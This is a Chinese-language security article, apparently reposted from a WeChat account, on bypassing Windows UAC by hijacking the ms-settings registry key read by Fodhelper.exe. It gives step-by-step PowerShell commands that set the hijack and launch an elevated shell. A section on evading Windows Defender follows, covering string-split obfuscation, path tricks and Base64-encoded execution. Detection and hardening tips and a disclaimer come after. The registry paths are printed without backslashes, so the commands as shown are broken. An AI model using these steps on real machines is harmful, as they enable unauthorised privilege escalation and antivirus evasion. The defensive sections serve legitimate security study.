前言
本文将深入分析如何通过Windows系统自带的Fodhelper.exe程序实现UAC(用户账户控制)的绕过,并详细说明其工作原理、实现方法和防御对策。
Fodhelper.exe介绍
什么是Fodhelper.exe?
Fodhelper.exe是Windows 10中的一个系统组件,用于管理Windows功能。该程序具有自动提升权限的特性,是UAC绕过的理想目标。
为什么选择Fodhelper.exe?
-
系统自带程序,默认受信任 -
具有自动提升权限的特性 -
可通过注册表劫持执行流程 -
较难被安全软件拦截
技术原理
自动提升机制
Fodhelper.exe启动时会自动请求管理员权限,且不会触发UAC提示,这是因为:
-
程序位于系统目录 -
具有微软数字签名 -
内置manifest指定了requireAdministrator
劫持原理
通过修改注册表项HKCU:SoftwareClassesms-settingsShellOpencommand
,可以劫持Fodhelper.exe的执行流程:
-
程序启动时会查询该注册表路径 -
通过DelegateExecute键触发命令执行 -
利用当前用户上下文执行恶意命令
实现步骤
1. 注册表准备
# 创建必要的注册表项
New-Item "HKCU:SoftwareClassesms-settingsShellOpencommand" -Force
2. 设置劫持参数
# 设置DelegateExecute键值
Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" `
-Name "DelegateExecute" -Value "" -Force
# 设置要执行的命令
Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" `
-Name "(Default)" `
-Value "cmd.exe /c start C:WindowsSystem32cmd.exe" -Force
3. 触发执行
# 启动Fodhelper.exe触发提权
Start-Process "C:WindowsSystem32fodhelper.exe"
绕过Windows Defender
1. 命令混淆
# 原始命令
cmd.exe /c start C:WindowsSystem32cmd.exe
# 混淆后
$c = "cm"+"d.exe"; $p = "/c st"+"art"; & $c $p "C:WindowsSystem32cmd.exe"
2. 路径变形
# 使用环境变量
%SystemRoot%System32cmd.exe
# 或使用短路径
C:WINDOWSSysWOW64cmd.exe
3. 编码处理
# Base64编码执行
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("cmd.exe"))
powershell -enc $encoded
检测与防御
1. 注册表监控
# 监控关键注册表路径
reg query "HKCUSoftwareClassesms-settingsShellOpencommand"
# PowerShell监控脚本
$key = "HKCU:SoftwareClassesms-settingsShellOpencommand"
Get-ItemProperty -Path $key | Select-Object "(Default)", "DelegateExecute"
2. 进程监控
-
监控Fodhelper.exe的启动 -
跟踪其子进程创建 -
记录命令行参数
3. 防护措施
-
注册表访问控制
# 限制注册表访问权限
$acl = Get-Acl "HKCU:SoftwareClasses"
Set-Acl "HKCU:SoftwareClassesms-settings" $acl
-
应用程序控制
# AppLocker策略示例
New-AppLockerPolicy -RuleType Path -Path "C:WindowsSystem32fodhelper.exe" -User "Everyone" -Action Deny
-
系统加固
-
启用最高级别UAC设置 -
实施最小权限原则 -
定期更新系统补丁
实验环境搭建
测试环境要求
-
Windows 10/11操作系统 -
标准用户权限 -
UAC默认设置
验证步骤
-
创建测试用户 -
确认UAC设置 -
执行绕过脚本 -
验证权限提升
结论
Fodhelper.exe提供了一个相对可靠的UAC绕过方法,但也存在被检测的风险。安全团队应该:
-
了解此类攻击原理 -
实施相应防御措施 -
定期进行安全评估 -
保持系统更新
提醒:本文内容仅供安全研究使用,切勿用于非法目的。在实际环境中使用这些技术可能违反相关法律法规
原文始发于微信公众号(HW安全之路):UAC完美绕过:Fodhelper.exe提权技术深度剖析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论